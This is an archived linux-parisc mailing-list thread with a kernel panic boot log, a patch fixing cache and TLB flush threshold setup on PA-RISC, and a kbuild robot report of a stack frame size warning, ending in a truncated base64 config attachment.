[10/2] { 13, 0x0, 0x782, 0x0000a }
[    1.852052] 5 <tel:18520525>. Elroy PCI Bridge at 0xfffffffffed38000 =
[10/4] { 13, 0x0, 0x782, 0x0000a }
[    1.858406] 6 <tel:18584066>. Elroy PCI Bridge at 0xfffffffffed3c000 =
[10/6] { 13, 0x0, 0x782, 0x0000a }
[    2.064047] 7. Forte W 2-way at 0xfffffffffffa0000 [32] { 0, 0x0, =
0x5bd, 0x00004 }
[    2.164047] 8. Forte W 2-way at 0xfffffffffffa2000 [34] { 0, 0x0, =
0x5bd, 0x00004 }
[    2.264046] 9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x088, =
0x00009 }
[    2.356040] Enabling regular chassis codes support v0.05
[    2.429981] Releasing cpu 1 now, hpa=3Dfffffffffffa2000
[    2.635751] CPU(s): 2 out of 2 PA8500 (PCX-W) at 440.000000 MHz =
online
[    2.726692] Setting cache flush threshold to 1024 kB
[    2.729932] Not-handled unaligned insn 0x43ffff80
[    2.798114] Setting TLB flush threshold to 140 kB
[    2.928039] Unaligned handler failed, ret =3D -1
[    3.000419]       _______________________________=20
   3.000419]      < Your System ate a SPARC! Gah! >
   3.000419]       -------------------------------=20
   3.000419]              \   ^__^
   3.000419]                  (__)\       )\/\
   3.000419]                   U  ||----w |
   3.000419]                      ||     ||
[    3.000000] SBA found Astro 2.1 at 0xfffffffffed00000
[    3.408041] random: fast init done
[    3.457713] Elroy version TR2.1 (0x2) found at 0xfffffffffed30000
[    3.584425] swapper/1 (pid 0): Unaligned data reference (code 28)
[    3.583874] LBA 10:0: PCI host bridge to bus 0000:00
[    3.583907] pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
[    3.583939] pci_bus 0000:00: root bus resource [mem =
0xfffffffff4000000-0xfffffffff47fffff] (bus address =
[0xf4000000-0xf47fffff])
[    3.583967] pci_bus 0000:00: root bus resource [bus 00]
[    3.584316] pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
[    3.584466] pci 0000:00:0c.0: reg 0x10: [io  0x1000-0x107f]
[    3.584558] pci 0000:00:0c.0: reg 0x14: [mem =
0xfffffffff4008000-0xfffffffff40083ff]
[    3.584924] pci 0000:00:0c.0: reg 0x30: [mem =
0xfffffffff4040000-0xfffffffff407ffff pref]
[    3.585597] pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
[    3.585752] pci 0000:00:0d.0: reg 0x10: [mem =
0xfffffffff400c000-0xfffffffff400c1ff pref]
[    3.585844] pci 0000:00:0d.0: reg 0x14: [mem =
0xfffffffff400b000-0xfffffffff400b00f pref]
[    3.585936] pci 0000:00:0d.0: reg 0x18: [mem =
0xfffffffff400a000-0xfffffffff400a00f pref]
[    3.586027] pci 0000:00:0d.0: reg 0x1c: [mem =
0xfffffffff4009000-0xfffffffff400900f pref]
[    3.586525] pci 0000:00:0d.0: supports D2
[    3.587048] pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
[    3.587099] PCI: Enabled native mode for NS87415 (pif=3D0x8f)
[    3.587205] pci 0000:00:0e.0: reg 0x10: [io  0x0f00-0x0f07]
[    3.587299] pci 0000:00:0e.0: reg 0x14: [io  0x0e00-0x0e03]
[    3.587391] pci 0000:00:0e.0: reg 0x18: [io  0x0d00-0x0d07]
[    3.587484] pci 0000:00:0e.0: reg 0x1c: [io  0x0b00-0x0b03]
[    3.587577] pci 0000:00:0e.0: reg 0x20: [io  0x0a00-0x0a0f]
[    3.588427] pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
[    3.589556] pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
[    3.589689] pci 0000:00:0e.2: reg 0x10: [mem =
0xfffffffff4007000-0xfffffffff4007fff]
[    3.589782] pci 0000:00:0e.2: reg 0x14: [mem =
0xfffffffff4006000-0xfffffffff4006fff]
[    3.590826] pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
[    3.590982] pci 0000:00:0f.0: reg 0x10: [io  0x0900-0x09ff]
[    3.591116] pci 0000:00:0f.0: reg 0x14: [mem =
0xfffffffff4005000-0xfffffffff40053ff 64bit]
[    3.591247] pci 0000:00:0f.0: reg 0x1c: [mem =
0xfffffffff4002000-0xfffffffff4003fff 64bit]
[    3.591672] pci 0000:00:0f.0: supports D1 D2
[    3.592344] pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
[    3.592499] pci 0000:00:0f.1: reg 0x10: [io  0x0800-0x08ff]
[    3.592632] pci 0000:00:0f.1: reg 0x14: [mem =
0xfffffffff4004000-0xfffffffff40043ff 64bit]
[    3.592762] pci 0000:00:0f.1: reg 0x1c: [mem =
0xfffffffff4000000-0xfffffffff4001fff 64bit]
[    3.593189] pci 0000:00:0f.1: supports D1 D2
[    3.663990] Elroy version TR2.1 (0x2) found at 0xfffffffffed32000
[    3.664613] LBA 10:1: PCI host bridge to bus 0000:01
[    3.664650] pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] =
(bus address [0x2000-0x3fff])
[    3.664680] pci_bus 0000:01: root bus resource [mem =
0xfffffffff4800000-0xfffffffff4ffffff] (bus address =
[0xf4800000-0xf4ffffff])
[    3.664707] pci_bus 0000:01: root bus resource [bus 01]
[    3.729673] Elroy version TR2.1 (0x2) found at 0xfffffffffed34000
[    3.730152] LBA 10:2: PCI host bridge to bus 0000:02
[    3.730189] pci_bus 0000:02: root bus resource [io  0x24000-0x25fff] =
(bus address [0x4000-0x5fff])
[    3.730219] pci_bus 0000:02: root bus resource [mem =
0xfffffffff5000000-0xfffffffff57fffff] (bus address =
[0xf5000000-0xf57fffff])
[    3.730247] pci_bus 0000:02: root bus resource [bus 02]
[    3.811431] Elroy version TR2.1 (0x2) found at 0xfffffffffed38000
[    3.811912] LBA 10:4: PCI host bridge to bus 0000:03
[    3.811949] pci_bus 0000:03: root bus resource [io  0x38000-0x39fff] =
(bus address [0x8000-0x9fff])
[    3.811979] pci_bus 0000:03: root bus resource [mem =
0xfffffffff6000000-0xfffffffff67fffff] (bus address =
[0xf6000000-0xf67fffff])
[    3.812083] pci_bus 0000:03: root bus resource [bus 03]
[    3.964113] Elroy version TR2.1 (0x2) found at 0xfffffffffed3c000
[    3.964644] LBA 10:6: PCI host bridge to bus 0000:04
[    3.964681] pci_bus 0000:04: root bus resource [io  0x4c000-0x4dfff] =
(bus address [0xc000-0xdfff])
[    3.964711] pci_bus 0000:04: root bus resource [mem =
0xfffffffffa000000-0xfffffffffbffffff] (bus address =
[0xfa000000-0xfbffffff])
[    3.964740] pci_bus 0000:04: root bus resource [mem =
0xfffffffff7000000-0xfffffffff77fffff] (bus address =
[0xf7000000-0xf77fffff])
[    3.964769] pci_bus 0000:04: root bus resource [bus 04]
[    3.964963] pci 0000:04:07.0: [103c:1005] type 00 class 0x038000
[    3.965090] pci 0000:04:07.0: reg 0x10: [mem =
0xfffffffffa000000-0xfffffffffbffffff]
[    3.965475] pci 0000:04:07.0: reg 0x30: [mem =
0xfffffffff7000000-0xfffffffff700ffff pref]
[    3.966316] iosapic: hpa not registered for 0000:04:07.0
[    4.116034] powersw: Soft power switch at 0xfffffff0f0400804 enabled.
[    4.329553] HugeTLB registered 2 MB page size, pre-allocated 0 pages
[    4.907795] vgaarb: loaded
[    9.340055] CPU: 1 PID: 0 Comm: swapper/1 Not tainted =
4.8.0-1-parisc64-smp #1 Debian 4.8.7-1
[    9.448082] task: 00000000bfd48060 task.stack: 00000000bfd50000
[    9.528040]=20
[    9.548022]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    9.608027] PSW: 00001000000001001111111100000000 Not tainted
[    9.684066] r00-03  000000ff0804ff00 0000000040bbc4c0 =
000000004025d178 00000000bfd50160
[    9.788086] r04-07  0000000040b9ecc0 00000000bfd50210 =
0000000040e1f248 0000000000000002
[    9.896052] r08-11  0000000000000000 0000000000000001 =
0000000040f533d0 0000000040e1f248
[   10.000034] r12-15  0000000040e1f2dc 0000000000000001 =
0000000000000001 0000000040eaa682
[   10.104053] r16-19  00000000bfd50580 0000000000000002 =
fffffff0f000016c 00000000bfd50000
[   10.212034] r20-23  000000004342e440 000000000800000e =
0000000000000009 0000000000000032
[   10.316078] r24-27  0000000000000000 000000000f9f009c =
00000000402fe8a8 0000000000000000
[   10.420052] r28-31  0000000000000000 00000000bfd50550 =
00000000bfd50580 0000000040f533d0
[   10.528034] sr00-03  0000000000000000 0000000000000000 =
0000000000000000 0000000000000000
[   10.632083] sr04-07  0000000000000000 0000000000000000 =
0000000000000000 0000000000000000
[   10.740042]=20
[   10.760029] IASQ: 0000000000000000 0000000000000000 IAOQ: =
000000004025d154 000000004025d158
[   10.868052]  IIR: 43ffff80    ISR: 0000000000340000  IOR: =
000001ff54150960
[   10.960029]  CPU:        1   CR30: 00000000bfd50000 CR31: =
0000000011111111
[   11.052057]  ORIG_R28: 000000004021e3b4
[   11.100045]  IAOQ[0]: irq_exit+0x94/0x120
[   11.152062]  IAOQ[1]: irq_exit+0x98/0x120
[   11.208031]  RP(r2): irq_exit+0xb8/0x120
[   11.256074] Backtrace:
[   11.288067]  [<00000000402cd944>] cpu_startup_entry+0x1e4/0x598
[   11.368058]  [<0000000040109528>] smp_callin+0x2c0/0x2f0
[   11.436308]  [<00000000402b53fc>] update_curr+0x18c/0x2d0
[   11.508055]  [<00000000402b73b8>] dequeue_entity+0x2c0/0x1030
[   11.584040]  [<00000000402b3cc0>] set_next_entity+0x80/0xd30
[   11.660069]  [<00000000402c1594>] pick_next_task_fair+0x614/0x720
[   11.740085]  [<000000004020dd34>] __schedule+0x394/0xa60
[   11.808054]  [<000000004020e488>] schedule+0x88/0x118
[   11.876039]  [<0000000040283d3c>] rescuer_thread+0x4d4/0x5b0
[   11.948090]  [<000000004028fc4c>] kthread+0x1ec/0x248
[   12.016053]  [<0000000040205020>] end_fault_vector+0x20/0xc0
[   12.092239]  [<00000000402050c0>] _switch_to_ret+0x0/0xf40
[   12.164044]=20
[   12.184036] CPU: 1 PID: 0 Comm: swapper/1 Not tainted =
4.8.0-1-parisc64-smp #1 Debian 4.8.7-1
[   12.244040] Backtrace:
[   12.244040]  [<000000004021c480>] show_stack+0x68/0x80
[   12.244040]  [<00000000406f332c>] dump_stack+0xec/0x168
[   12.244040]  [<000000004021c74c>] die_if_kernel+0x25c/0x430
[   12.244040]  [<000000004022d320>] handle_unaligned+0xb48/0xb50
[   12.244040]=20
[   12.632066] ---[ end trace 9ca05a7215c7bbb2 ]---
[   12.692036] Kernel panic - not syncing: Attempted to kill the idle =
task!

We have the insn 0x43ffff80 in IIR but from IAOQ we should have:
   4025d150:   0f f3 20 df     ldd,s r19(r31),r31
   4025d154:   0f 9f 00 9c     ldw r31(ret0),ret0
   4025d158:   bf 80 20 58     cmpb,*<> r0,ret0,4025d18c <irq_exit+0xcc>

Cpu0 has just completed running parisc_setup_cache_timing:

[    2.429981] Releasing cpu 1 now, hpa=3Dfffffffffffa2000
[    2.635751] CPU(s): 2 out of 2 PA8500 (PCX-W) at 440.000000 MHz =
online
[    2.726692] Setting cache flush threshold to 1024 kB
[    2.729932] Not-handled unaligned insn 0x43ffff80
[    2.798114] Setting TLB flush threshold to 140 kB
[    2.928039] Unaligned handler failed, ret =3D -1

=46rom the backtrace, cpu1 is in smp_callin:

void __init smp_callin(void)
{
       int slave_id =3D cpu_now_booting;

       smp_cpu_init(slave_id);
       preempt_disable();

       flush_cache_all_local(); /* start with known state */
       flush_tlb_all_local(NULL);

       local_irq_enable();  /* Interrupts have been off until now */

       cpu_startup_entry(CPUHP_AP_ONLINE_IDLE);

So, it has just flushed its caches and the TLB.   It would seem either =
the flushes in parisc_setup_cache_timing
or smp_callin have corrupted kernel memory.

The attached patch reworks parisc_setup_cache_timing to remove the races =
in setting the cache and TLB
flush thresholds.  It also corrects the number of bytes flushed in the =
TLB calculation.

The patch flushes the cache and TLB on cpu0 before starting the =
secondary processors so that they are
are started from a known state.

Tested with a few reboots on c8000.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>



--Apple-Mail-55-1023466952
Content-Disposition: attachment;
	filename=startup.d.txt
Content-Type: text/plain;
	name="startup.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 6700127..bf669a2 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -369,6 +369,7 @@ void __init parisc_setup_cache_timing(void)
 {
 	unsigned long rangetime, alltime;
 	unsigned long size, start;
+	unsigned long threshold;
=20
 	alltime =3D mfctl(16);
 	flush_data_cache();
@@ -382,17 +383,12 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_DEBUG "Whole cache flush %lu cycles, flushing %lu =
bytes %lu cycles\n",
 		alltime, size, rangetime);
=20
-	/* Racy, but if we see an intermediate value, it's ok too... */
-	parisc_cache_flush_threshold =3D size * alltime / rangetime;
-
-	parisc_cache_flush_threshold =3D =
L1_CACHE_ALIGN(parisc_cache_flush_threshold);
-	if (!parisc_cache_flush_threshold)
-		parisc_cache_flush_threshold =3D FLUSH_THRESHOLD;
-
-	if (parisc_cache_flush_threshold > cache_info.dc_size)
-		parisc_cache_flush_threshold =3D cache_info.dc_size;
-
-	printk(KERN_INFO "Setting cache flush threshold to %lu kB\n",
+	threshold =3D L1_CACHE_ALIGN(size * alltime / rangetime);
+	if (threshold > cache_info.dc_size)
+		threshold =3D cache_info.dc_size;
+	if (threshold)
+		parisc_cache_flush_threshold =3D threshold;
+	printk(KERN_INFO "Cache flush threshold set to %lu kB\n",
 		parisc_cache_flush_threshold/1024);
=20
 	/* calculate TLB flush threshold */
@@ -401,7 +397,7 @@ void __init parisc_setup_cache_timing(void)
 	flush_tlb_all();
 	alltime =3D mfctl(16) - alltime;
=20
-	size =3D PAGE_SIZE;
+	size =3D 0;
 	start =3D (unsigned long) _text;
 	rangetime =3D mfctl(16);
 	while (start < (unsigned long) _end) {
@@ -414,13 +410,10 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_DEBUG "Whole TLB flush %lu cycles, flushing %lu =
bytes %lu cycles\n",
 		alltime, size, rangetime);
=20
-	parisc_tlb_flush_threshold =3D size * alltime / rangetime;
-	parisc_tlb_flush_threshold *=3D num_online_cpus();
-	parisc_tlb_flush_threshold =3D =
PAGE_ALIGN(parisc_tlb_flush_threshold);
-	if (!parisc_tlb_flush_threshold)
-		parisc_tlb_flush_threshold =3D FLUSH_TLB_THRESHOLD;
-
-	printk(KERN_INFO "Setting TLB flush threshold to %lu kB\n",
+	threshold =3D PAGE_ALIGN(num_online_cpus() * size * alltime / =
rangetime);
+	if (threshold)
+		parisc_tlb_flush_threshold =3D threshold;
+	printk(KERN_INFO "TLB flush threshold set to %lu kB\n",
 		parisc_tlb_flush_threshold/1024);
 }
=20
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 81d6f63..2e66a88 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -334,6 +334,10 @@ static int __init parisc_init(void)
 	/* tell PDC we're Linux. Nevermind failure. */
 	pdc_stable_write(0x40, &osid, sizeof(osid));
 =09
+	/* start with known state */
+	flush_cache_all_local();
+	flush_tlb_all_local(NULL);
+
 	processor_init();
 #ifdef CONFIG_SMP
 	pr_info("CPU(s): %d out of %d %s at %d.%06d MHz online\n",

--Apple-Mail-55-1023466952
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-55-1023466952--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hp-parisc:pdt_devel 5/5] arch/parisc/kernel/inventory.c:283:1:
 warning: the frame size of 4104 bytes is larger than 2048 bytes
Date: Wed, 23 Nov 2016 00:13:10 +0800
Lines: 411
Approved: news@gmane.org
Message-ID: <201611230024.aeuc0L1g%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="dDRMvlgZJXvWKvBx"
X-Trace: blaine.gmane.org 1479831244 5339 195.159.176.226 (22 Nov 2016 16:14:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 Nov 2016 16:14:04 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 22 17:13:52 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c9Dhf-0007vg-EJ
	for glpp-linux-parisc@m.gmane.org; Tue, 22 Nov 2016 17:13:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753804AbcKVQNy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 22 Nov 2016 11:13:54 -0500
Original-Received: from mga14.intel.com ([192.55.52.115]:22213 "EHLO mga14.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754042AbcKVQNw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 22 Nov 2016 11:13:52 -0500
Original-Received: from fmsmga006.fm.intel.com ([10.253.24.20])
  by fmsmga103.fm.intel.com with ESMTP; 22 Nov 2016 08:13:51 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.31,533,1473145200"; 
   d="gz'50?scan'50,208,50";a="34453813"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga006.fm.intel.com with ESMTP; 22 Nov 2016 08:13:50 -0800
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1c9DiP-000X8F-LD; Wed, 23 Nov 2016 00:14:37 +0800
Content-Disposition: inline
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27064
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27064>


--dDRMvlgZJXvWKvBx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

tree:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git pdt_devel
head:   9d2a99a3e6a35e064c82e639dbbe65f1a4fc9b09
commit: 9d2a99a3e6a35e064c82e639dbbe65f1a4fc9b09 [5/5] parisc: Add page deallocation support
config: parisc-generic-64bit_defconfig (attached as .config)
compiler: hppa64-linux-gnu-gcc (GCC) 6.2.0 20160901
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        git checkout 9d2a99a3e6a35e064c82e639dbbe65f1a4fc9b09
        # save the attached .config to linux build tree
        make.cross ARCH=parisc 

All warnings (new ones prefixed by >>):

   arch/parisc/kernel/inventory.c: In function 'pat_query_module':
>> arch/parisc/kernel/inventory.c:283:1: warning: the frame size of 4104 bytes is larger than 2048 bytes [-Wframe-larger-than=]
    }
    ^

vim +283 arch/parisc/kernel/inventory.c

0d56d1aa Kyle McMartin  2009-06-23  267  				pa_pdc_cell->mod[3 + i * 3],	/* start */
0d56d1aa Kyle McMartin  2009-06-23  268  				pa_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
^1da177e Linus Torvalds 2005-04-16  269  			printk(KERN_DEBUG 
^1da177e Linus Torvalds 2005-04-16  270  				"  IO_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
fa465a6a Helge Deller   2016-11-17  271  				i, io_pdc_cell.mod[2 + i * 3],	/* type */
fa465a6a Helge Deller   2016-11-17  272  				io_pdc_cell.mod[3 + i * 3],	/* start */
fa465a6a Helge Deller   2016-11-17  273  				io_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
^1da177e Linus Torvalds 2005-04-16  274  		}
^1da177e Linus Torvalds 2005-04-16  275  		printk(KERN_DEBUG "\n");
^1da177e Linus Torvalds 2005-04-16  276  		break;
^1da177e Linus Torvalds 2005-04-16  277  	}
^1da177e Linus Torvalds 2005-04-16  278  #endif /* DEBUG_PAT */
0d56d1aa Kyle McMartin  2009-06-23  279  
0d56d1aa Kyle McMartin  2009-06-23  280  	kfree(pa_pdc_cell);
0d56d1aa Kyle McMartin  2009-06-23  281  
^1da177e Linus Torvalds 2005-04-16  282  	return PDC_OK;
^1da177e Linus Torvalds 2005-04-16 @283  }
^1da177e Linus Torvalds 2005-04-16  284  
^1da177e Linus Torvalds 2005-04-16  285  
^1da177e Linus Torvalds 2005-04-16  286  /* pat pdc can return information about a variety of different
^1da177e Linus Torvalds 2005-04-16  287   * types of memory (e.g. firmware,i/o, etc) but we only care about
^1da177e Linus Torvalds 2005-04-16  288   * the usable physical ram right now. Since the firmware specific
^1da177e Linus Torvalds 2005-04-16  289   * information is allocated on the stack, we'll be generous, in
^1da177e Linus Torvalds 2005-04-16  290   * case there is a lot of other information we don't care about.
^1da177e Linus Torvalds 2005-04-16  291   */

:::::: The code at line 283 was first introduced by commit
:::::: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 Linux-2.6.12-rc2

:::::: TO: Linus Torvalds <torvalds@ppc970.osdl.org>
:::::: CC: Linus Torvalds <torvalds@ppc970.osdl.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--dDRMvlgZJXvWKvBx
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
